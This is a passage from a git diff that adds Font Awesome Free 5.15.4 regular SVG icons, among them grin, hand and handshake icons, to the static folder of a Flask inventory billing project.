3.8-4.5 3.8-11 .1-15.5L343.6 208l33.6-40.3c3.8-4.5 3.7-11.1-.1-15.5zm-162.9 45.5l-80-48c-5-3-11.4-2-15.3 2.5-3.8 4.5-3.8 11-.1 15.5l33.6 40.3-33.6 40.3c-3.8 4.5-3.7 11 .1 15.5 3.6 4.2 9.9 5.7 15.3 2.5l80-48c3.6-2.2 5.8-6.1 5.8-10.3s-2.2-8.1-5.8-10.3z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/grin-tongue-wink.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/grin-tongue-wink.svg new file mode 100644 index 00000000..f503cc31 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/grin-tongue-wink.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 496 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M152 180c-25.7 0-55.9 16.9-59.8 42.1-.8 5 1.7 10 6.1 12.4 4.4 2.4 9.9 1.8 13.7-1.6l9.5-8.5c14.8-13.2 46.2-13.2 61 0l9.5 8.5c2.5 2.2 8 4.7 13.7 1.6 4.4-2.4 6.9-7.4 6.1-12.4-3.9-25.2-34.1-42.1-59.8-42.1zm176-52c-44.2 0-80 35.8-80 80s35.8 80 80 80 80-35.8 80-80-35.8-80-80-80zm0 128c-26.5 0-48-21.5-48-48s21.5-48 48-48 48 21.5 48 48-21.5 48-48 48zm0-72c-13.3 0-24 10.7-24 24s10.7 24 24 24 24-10.7 24-24-10.7-24-24-24zM248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm64 400c0 35.6-29.1 64.5-64.9 64-35.1-.5-63.1-29.8-63.1-65v-42.8l17.7-8.8c15-7.5 31.5 1.7 34.9 16.5l2.8 12.1c2.1 9.2 15.2 9.2 17.3 0l2.8-12.1c3.4-14.8 19.8-24.1 34.9-16.5l17.7 8.8V408zm28.2 25.3c2.2-8.1 3.8-16.5 3.8-25.3v-43.5c14.2-12.4 24.4-27.5 27.3-44.5 1.7-9.9-7.7-18.5-17.7-15.3-25.9 8.3-64.4 13.1-105.6 13.1s-79.6-4.8-105.6-13.1c-9.9-3.1-19.4 5.3-17.7 15.3 2.9 17 13.1 32.1 27.3 44.5V408c0 8.8 1.6 17.2 3.8 25.3C91.8 399.9 48 333 48 256c0-110.3 89.7-200 200-200s200 89.7 200 200c0 77-43.8 143.9-107.8 177.3z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/grin-tongue.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/grin-tongue.svg new file mode 100644 index 00000000..516d166d --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/grin-tongue.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 496 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm64 400c0 35.6-29.1 64.5-64.9 64-35.1-.5-63.1-29.8-63.1-65v-42.8l17.7-8.8c15-7.5 31.5 1.7 34.9 16.5l2.8 12.1c2.1 9.2 15.2 9.2 17.3 0l2.8-12.1c3.4-14.8 19.8-24.1 34.9-16.5l17.7 8.8V408zm28.2 25.3c2.2-8.1 3.8-16.5 3.8-25.3v-43.5c14.2-12.4 24.4-27.5 27.3-44.5 1.7-9.9-7.7-18.5-17.7-15.3-25.9 8.3-64.4 13.1-105.6 13.1s-79.6-4.8-105.6-13.1c-9.9-3.1-19.4 5.3-17.7 15.3 2.9 17 13.1 32.1 27.3 44.5V408c0 8.8 1.6 17.2 3.8 25.3C91.8 399.9 48 333 48 256c0-110.3 89.7-200 200-200s200 89.7 200 200c0 77-43.8 143.9-107.8 177.3zM168 176c-17.7 0-32 14.3-32 32s14.3 32 32 32 32-14.3 32-32-14.3-32-32-32zm160 0c-17.7 0-32 14.3-32 32s14.3 32 32 32 32-14.3 32-32-14.3-32-32-32z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/grin-wink.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/grin-wink.svg new file mode 100644 index 00000000..4f31f6dc --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/grin-wink.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 496 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M328 180c-25.69 0-55.88 16.92-59.86 42.12-1.75 11.22 11.5 18.24 19.83 10.84l9.55-8.48c14.81-13.19 46.16-13.19 60.97 0l9.55 8.48c8.48 7.43 21.56.25 19.83-10.84C383.88 196.92 353.69 180 328 180zm-160 60c17.67 0 32-14.33 32-32s-14.33-32-32-32-32 14.33-32 32 14.33 32 32 32zm185.55 64.64c-25.93 8.3-64.4 13.06-105.55 13.06s-79.62-4.75-105.55-13.06c-9.94-3.13-19.4 5.37-17.71 15.34C132.67 367.13 196.06 400 248 400s115.33-32.87 123.26-80.02c1.68-9.89-7.67-18.48-17.71-15.34zM248 8C111.03 8 0 119.03 0 256s111.03 248 248 248 248-111.03 248-248S384.97 8 248 8zm0 448c-110.28 0-200-89.72-200-200S137.72 56 248 56s200 89.72 200 200-89.72 200-200 200z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/grin.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/grin.svg new file mode 100644 index 00000000..e8de5273 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/grin.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 496 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 448c-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200-89.7 200-200 200zm105.6-151.4c-25.9 8.3-64.4 13.1-105.6 13.1s-79.6-4.8-105.6-13.1c-9.9-3.1-19.4 5.4-17.7 15.3 7.9 47.1 71.3 80 123.3 80s115.3-32.9 123.3-80c1.6-9.8-7.7-18.4-17.7-15.3zM168 240c17.7 0 32-14.3 32-32s-14.3-32-32-32-32 14.3-32 32 14.3 32 32 32zm160 0c17.7 0 32-14.3 32-32s-14.3-32-32-32-32 14.3-32 32 14.3 32 32 32z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/hand-lizard.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/hand-lizard.svg new file mode 100644 index 00000000..7371de97 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/hand-lizard.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M556.686 290.542L410.328 64.829C397.001 44.272 374.417 32 349.917 32H56C25.121 32 0 57.122 0 88v8c0 44.112 35.888 80 80 80h196.042l-18.333 48H144c-48.523 0-88 39.477-88 88 0 30.879 25.121 56 56 56h131.552c2.987 0 5.914.549 8.697 1.631L352 408.418V480h224V355.829c0-23.225-6.679-45.801-19.314-65.287zM528 432H400v-23.582c0-19.948-12.014-37.508-30.604-44.736l-99.751-38.788A71.733 71.733 0 0 0 243.552 320H112c-4.411 0-8-3.589-8-8 0-22.056 17.944-40 40-40h113.709c19.767 0 37.786-12.407 44.84-30.873l24.552-64.281c8.996-23.553-8.428-48.846-33.63-48.846H80c-17.645 0-32-14.355-32-32v-8c0-4.411 3.589-8 8-8h293.917c8.166 0 15.693 4.09 20.137 10.942l146.358 225.715A71.84 71.84 0 0 1 528 355.829V432z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/hand-paper.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/hand-paper.svg new file mode 100644 index 00000000..d046d0fb --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/hand-paper.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M372.57 112.641v-10.825c0-43.612-40.52-76.691-83.039-65.546-25.629-49.5-94.09-47.45-117.982.747C130.269 26.456 89.144 57.945 89.144 102v126.13c-19.953-7.427-43.308-5.068-62.083 8.871-29.355 21.796-35.794 63.333-14.55 93.153L132.48 498.569a32 32 0 0 0 26.062 13.432h222.897c14.904 0 27.835-10.289 31.182-24.813l30.184-130.958A203.637 203.637 0 0 0 448 310.564V179c0-40.62-35.523-71.992-75.43-66.359zm27.427 197.922c0 11.731-1.334 23.469-3.965 34.886L368.707 464h-201.92L51.591 302.303c-14.439-20.27 15.023-42.776 29.394-22.605l27.128 38.079c8.995 12.626 29.031 6.287 29.031-9.283V102c0-25.645 36.571-24.81 36.571.691V256c0 8.837 7.163 16 16 16h6.856c8.837 0 16-7.163 16-16V67c0-25.663 36.571-24.81 36.571.691V256c0 8.837 7.163 16 16 16h6.856c8.837 0 16-7.163 16-16V101.125c0-25.672 36.57-24.81 36.57.691V256c0 8.837 7.163 16 16 16h6.857c8.837 0 16-7.163 16-16v-76.309c0-26.242 36.57-25.64 36.57-.691v131.563z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/hand-peace.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/hand-peace.svg new file mode 100644 index 00000000..e574f798 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/hand-peace.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M362.146 191.976c-13.71-21.649-38.761-34.016-65.006-30.341V74c0-40.804-32.811-74-73.141-74-40.33 0-73.14 33.196-73.14 74L160 168l-18.679-78.85C126.578 50.843 83.85 32.11 46.209 47.208 8.735 62.238-9.571 104.963 5.008 142.85l55.757 144.927c-30.557 24.956-43.994 57.809-24.733 92.218l54.853 97.999C102.625 498.97 124.73 512 148.575 512h205.702c30.744 0 57.558-21.44 64.555-51.797l27.427-118.999a67.801 67.801 0 0 0 1.729-15.203L448 256c0-44.956-43.263-77.343-85.854-64.024zM399.987 326c0 1.488-.169 2.977-.502 4.423l-27.427 119.001c-1.978 8.582-9.29 14.576-17.782 14.576H148.575c-6.486 0-12.542-3.621-15.805-9.449l-54.854-98c-4.557-8.141-2.619-18.668 4.508-24.488l26.647-21.764a16 16 0 0 0 4.812-18.139l-64.09-166.549C37.226 92.956 84.37 74.837 96.51 106.389l59.784 155.357A16 16 0 0 0 171.227 272h11.632c8.837 0 16-7.163 16-16V74c0-34.375 50.281-34.43 50.281 0v182c0 8.837 7.163 16 16 16h6.856c8.837 0 16-7.163 16-16v-28c0-25.122 36.567-25.159 36.567 0v28c0 8.837 7.163 16 16 16h6.856c8.837 0 16-7.163 16-16 0-25.12 36.567-25.16 36.567 0v70z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/hand-point-down.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/hand-point-down.svg new file mode 100644 index 00000000..87770009 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/hand-point-down.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M188.8 512c45.616 0 83.2-37.765 83.2-83.2v-35.647a93.148 93.148 0 0 0 22.064-7.929c22.006 2.507 44.978-3.503 62.791-15.985C409.342 368.1 448 331.841 448 269.299V248c0-60.063-40-98.512-40-127.2v-2.679c4.952-5.747 8-13.536 8-22.12V32c0-17.673-12.894-32-28.8-32H156.8C140.894 0 128 14.327 128 32v64c0 8.584 3.048 16.373 8 22.12v2.679c0 6.964-6.193 14.862-23.668 30.183l-.148.129-.146.131c-9.937 8.856-20.841 18.116-33.253 25.851C48.537 195.798 0 207.486 0 252.8c0 56.928 35.286 92 83.2 92 8.026 0 15.489-.814 22.4-2.176V428.8c0 45.099 38.101 83.2 83.2 83.2zm0-48c-18.7 0-35.2-16.775-35.2-35.2V270.4c-17.325 0-35.2 26.4-70.4 26.4-26.4 0-35.2-20.625-35.2-44 0-8.794 32.712-20.445 56.1-34.926 14.575-9.074 27.225-19.524 39.875-30.799 18.374-16.109 36.633-33.836 39.596-59.075h176.752C364.087 170.79 400 202.509 400 248v21.299c0 40.524-22.197 57.124-61.325 50.601-8.001 14.612-33.979 24.151-53.625 12.925-18.225 19.365-46.381 17.787-61.05 4.95V428.8c0 18.975-16.225 35.2-35.2 35.2zM328 64c0-13.255 10.745-24 24-24s24 10.745 24 24-10.745 24-24 24-24-10.745-24-24z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/hand-point-left.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/hand-point-left.svg new file mode 100644 index 00000000..f1fd2458 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/hand-point-left.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M0 220.8C0 266.416 37.765 304 83.2 304h35.647a93.148 93.148 0 0 0 7.929 22.064c-2.507 22.006 3.503 44.978 15.985 62.791C143.9 441.342 180.159 480 242.701 480H264c60.063 0 98.512-40 127.2-40h2.679c5.747 4.952 13.536 8 22.12 8h64c17.673 0 32-12.894 32-28.8V188.8c0-15.906-14.327-28.8-32-28.8h-64c-8.584 0-16.373 3.048-22.12 8H391.2c-6.964 0-14.862-6.193-30.183-23.668l-.129-.148-.131-.146c-8.856-9.937-18.116-20.841-25.851-33.253C316.202 80.537 304.514 32 259.2 32c-56.928 0-92 35.286-92 83.2 0 8.026.814 15.489 2.176 22.4H83.2C38.101 137.6 0 175.701 0 220.8zm48 0c0-18.7 16.775-35.2 35.2-35.2h158.4c0-17.325-26.4-35.2-26.4-70.4 0-26.4 20.625-35.2 44-35.2 8.794 0 20.445 32.712 34.926 56.1 9.074 14.575 19.524 27.225 30.799 39.875 16.109 18.374 33.836 36.633 59.075 39.596v176.752C341.21 396.087 309.491 432 264 432h-21.299c-40.524 0-57.124-22.197-50.601-61.325-14.612-8.001-24.151-33.979-12.925-53.625-19.365-18.225-17.787-46.381-4.95-61.05H83.2C64.225 256 48 239.775 48 220.8zM448 360c13.255 0 24 10.745 24 24s-10.745 24-24 24-24-10.745-24-24 10.745-24 24-24z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/hand-point-right.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/hand-point-right.svg new file mode 100644 index 00000000..2e5bc932 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/hand-point-right.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M428.8 137.6h-86.177a115.52 115.52 0 0 0 2.176-22.4c0-47.914-35.072-83.2-92-83.2-45.314 0-57.002 48.537-75.707 78.784-7.735 12.413-16.994 23.317-25.851 33.253l-.131.146-.129.148C135.662 161.807 127.764 168 120.8 168h-2.679c-5.747-4.952-13.536-8-22.12-8H32c-17.673 0-32 12.894-32 28.8v230.4C0 435.106 14.327 448 32 448h64c8.584 0 16.373-3.048 22.12-8h2.679c28.688 0 67.137 40 127.2 40h21.299c62.542 0 98.8-38.658 99.94-91.145 12.482-17.813 18.491-40.785 15.985-62.791A93.148 93.148 0 0 0 393.152 304H428.8c45.435 0 83.2-37.584 83.2-83.2 0-45.099-38.101-83.2-83.2-83.2zm0 118.4h-91.026c12.837 14.669 14.415 42.825-4.95 61.05 11.227 19.646 1.687 45.624-12.925 53.625 6.524 39.128-10.076 61.325-50.6 61.325H248c-45.491 0-77.21-35.913-120-39.676V215.571c25.239-2.964 42.966-21.222 59.075-39.596 11.275-12.65 21.725-25.3 30.799-39.875C232.355 112.712 244.006 80 252.8 80c23.375 0 44 8.8 44 35.2 0 35.2-26.4 53.075-26.4 70.4h158.4c18.425 0 35.2 16.5 35.2 35.2 0 18.975-16.225 35.2-35.2 35.2zM88 384c0 13.255-10.745 24-24 24s-24-10.745-24-24 10.745-24 24-24 24 10.745 24 24z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/hand-point-up.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/hand-point-up.svg new file mode 100644 index 00000000..1b4c2b33 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/hand-point-up.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M105.6 83.2v86.177a115.52 115.52 0 0 0-22.4-2.176c-47.914 0-83.2 35.072-83.2 92 0 45.314 48.537 57.002 78.784 75.707 12.413 7.735 23.317 16.994 33.253 25.851l.146.131.148.129C129.807 376.338 136 384.236 136 391.2v2.679c-4.952 5.747-8 13.536-8 22.12v64c0 17.673 12.894 32 28.8 32h230.4c15.906 0 28.8-14.327 28.8-32v-64c0-8.584-3.048-16.373-8-22.12V391.2c0-28.688 40-67.137 40-127.2v-21.299c0-62.542-38.658-98.8-91.145-99.94-17.813-12.482-40.785-18.491-62.791-15.985A93.148 93.148 0 0 0 272 118.847V83.2C272 37.765 234.416 0 188.8 0c-45.099 0-83.2 38.101-83.2 83.2zm118.4 0v91.026c14.669-12.837 42.825-14.415 61.05 4.95 19.646-11.227 45.624-1.687 53.625 12.925 39.128-6.524 61.325 10.076 61.325 50.6V264c0 45.491-35.913 77.21-39.676 120H183.571c-2.964-25.239-21.222-42.966-39.596-59.075-12.65-11.275-25.3-21.725-39.875-30.799C80.712 279.645 48 267.994 48 259.2c0-23.375 8.8-44 35.2-44 35.2 0 53.075 26.4 70.4 26.4V83.2c0-18.425 16.5-35.2 35.2-35.2 18.975 0 35.2 16.225 35.2 35.2zM352 424c13.255 0 24 10.745 24 24s-10.745 24-24 24-24-10.745-24-24 10.745-24 24-24z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/hand-pointer.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/hand-pointer.svg new file mode 100644 index 00000000..7aaf1692 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/hand-pointer.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M358.182 179.361c-19.493-24.768-52.679-31.945-79.872-19.098-15.127-15.687-36.182-22.487-56.595-19.629V67c0-36.944-29.736-67-66.286-67S89.143 30.056 89.143 67v161.129c-19.909-7.41-43.272-5.094-62.083 8.872-29.355 21.795-35.793 63.333-14.55 93.152l109.699 154.001C134.632 501.59 154.741 512 176 512h178.286c30.802 0 57.574-21.5 64.557-51.797l27.429-118.999A67.873 67.873 0 0 0 448 326v-84c0-46.844-46.625-79.273-89.818-62.639zM80.985 279.697l27.126 38.079c8.995 12.626 29.031 6.287 29.031-9.283V67c0-25.12 36.571-25.16 36.571 0v175c0 8.836 7.163 16 16 16h6.857c8.837 0 16-7.164 16-16v-35c0-25.12 36.571-25.16 36.571 0v35c0 8.836 7.163 16 16 16H272c8.837 0 16-7.164 16-16v-21c0-25.12 36.571-25.16 36.571 0v21c0 8.836 7.163 16 16 16h6.857c8.837 0 16-7.164 16-16 0-25.121 36.571-25.16 36.571 0v84c0 1.488-.169 2.977-.502 4.423l-27.43 119.001c-1.978 8.582-9.29 14.576-17.782 14.576H176c-5.769 0-11.263-2.878-14.697-7.697l-109.712-154c-14.406-20.223 14.994-42.818 29.394-22.606zM176.143 400v-96c0-8.837 6.268-16 14-16h6c7.732 0 14 7.163 14 16v96c0 8.837-6.268 16-14 16h-6c-7.733 0-14-7.163-14-16zm75.428 0v-96c0-8.837 6.268-16 14-16h6c7.732 0 14 7.163 14 16v96c0 8.837-6.268 16-14 16h-6c-7.732 0-14-7.163-14-16zM327 400v-96c0-8.837 6.268-16 14-16h6c7.732 0 14 7.163 14 16v96c0 8.837-6.268 16-14 16h-6c-7.732 0-14-7.163-14-16z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/hand-rock.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/hand-rock.svg new file mode 100644 index 00000000..57c4fae8 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/hand-rock.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M408.864 79.052c-22.401-33.898-66.108-42.273-98.813-23.588-29.474-31.469-79.145-31.093-108.334-.022-47.16-27.02-108.71 5.055-110.671 60.806C44.846 105.407 0 140.001 0 187.429v56.953c0 32.741 14.28 63.954 39.18 85.634l97.71 85.081c4.252 3.702 3.11 5.573 3.11 32.903 0 17.673 14.327 32 32 32h252c17.673 0 32-14.327 32-32 0-23.513-1.015-30.745 3.982-42.37l42.835-99.656c6.094-14.177 9.183-29.172 9.183-44.568V146.963c0-52.839-54.314-88.662-103.136-67.911zM464 261.406a64.505 64.505 0 0 1-5.282 25.613l-42.835 99.655c-5.23 12.171-7.883 25.04-7.883 38.25V432H188v-10.286c0-16.37-7.14-31.977-19.59-42.817l-97.71-85.08C56.274 281.255 48 263.236 48 244.381v-56.953c0-33.208 52-33.537 52 .677v41.228a16 16 0 0 0 5.493 12.067l7 6.095A16 16 0 0 0 139 235.429V118.857c0-33.097 52-33.725 52 .677v26.751c0 8.836 7.164 16 16 16h7c8.836 0 16-7.164 16-16v-41.143c0-33.134 52-33.675 52 .677v40.466c0 8.836 7.163 16 16 16h7c8.837 0 16-7.164 16-16v-27.429c0-33.03 52-33.78 52 .677v26.751c0 8.836 7.163 16 16 16h7c8.837 0 16-7.164 16-16 0-33.146 52-33.613 52 .677v114.445z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/hand-scissors.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/hand-scissors.svg new file mode 100644 index 00000000..497762d5 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/hand-scissors.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M256 480l70-.013c5.114 0 10.231-.583 15.203-1.729l118.999-27.427C490.56 443.835 512 417.02 512 386.277V180.575c0-23.845-13.03-45.951-34.005-57.69l-97.999-54.853c-34.409-19.261-67.263-5.824-92.218 24.733L142.85 37.008c-37.887-14.579-80.612 3.727-95.642 41.201-15.098 37.642 3.635 80.37 41.942 95.112L168 192l-94-9.141c-40.804 0-74 32.811-74 73.14 0 40.33 33.196 73.141 74 73.141h87.635c-3.675 26.245 8.692 51.297 30.341 65.006C178.657 436.737 211.044 480 256 480zm0-48.013c-25.16 0-25.12-36.567 0-36.567 8.837 0 16-7.163 16-16v-6.856c0-8.837-7.163-16-16-16h-28c-25.159 0-25.122-36.567 0-36.567h28c8.837 0 16-7.163 16-16v-6.856c0-8.837-7.163-16-16-16H74c-34.43 0-34.375-50.281 0-50.281h182c8.837 0 16-7.163 16-16v-11.632a16 16 0 0 0-10.254-14.933L106.389 128.51c-31.552-12.14-13.432-59.283 19.222-46.717l166.549 64.091a16.001 16.001 0 0 0 18.139-4.812l21.764-26.647c5.82-7.127 16.348-9.064 24.488-4.508l98 54.854c5.828 3.263 9.449 9.318 9.449 15.805v205.701c0 8.491-5.994 15.804-14.576 17.782l-119.001 27.427a19.743 19.743 0 0 1-4.423.502h-70z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/hand-spock.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/hand-spock.svg new file mode 100644 index 00000000..d6f7a210 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/hand-spock.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M501.03053,116.17605c-19.39059-31.50779-51.24406-35.72849-66.31044-35.01756-14.11325-50.81051-62.0038-54.08-70.73816-54.08a74.03091,74.03091,0,0,0-72.23816,58.916l-4.64648,22.66014-13.68357-53.207c-9.09569-35.37107-46.412-64.05074-89.66-53.07223a73.89749,73.89749,0,0,0-55.121,78.94722,73.68273,73.68273,0,0,0-64.8495,94.42181l24.35933,82.19721c-38.24017-7.54492-62.79677,16.18358-68.11512,21.84764a73.6791,73.6791,0,0,0,3.19921,104.19329l91.36509,85.9765A154.164,154.164,0,0,0,220.62279,512h107.4549A127.30079,127.30079,0,0,0,452.3392,413.86139l57.623-241.96272A73.20274,73.20274,0,0,0,501.03053,116.17605Zm-37.7597,44.60544L405.64788,402.74812a79.46616,79.46616,0,0,1-77.57019,61.25972H220.62279a106.34052,106.34052,0,0,1-73.1366-28.998l-91.369-85.98041C31.34381,325.72669,66.61133,288.131,91.39644,311.5392l51.123,48.10739c5.42577,5.10937,13.48239.71679,13.48239-5.82617a246.79914,246.79914,0,0,0-10.17771-70.1523l-36.01362-121.539c-9.7324-32.88279,39.69916-47.27145,49.38664-14.625l31.3437,105.77923c5.59374,18.90428,33.78119,10.71288,28.9648-8.00781L177.06427,80.23662c-8.50389-33.1035,41.43157-45.64646,49.86515-12.83593l47.32609,184.035c4.42773,17.24218,29.16207,16.5039,32.71089-.80468l31.791-154.9706c6.81054-33.1074,57.51748-24.10741,50.11906,11.96288L360.32764,246.78924c-3.72265,18.10936,23.66793,24.63084,28.05659,6.21679L413.185,148.85962C421.1498,115.512,471.14,127.79713,463.27083,160.78149Z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/handshake.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/handshake.svg new file mode 100644 index 00000000..e01c671a --- /dev/null 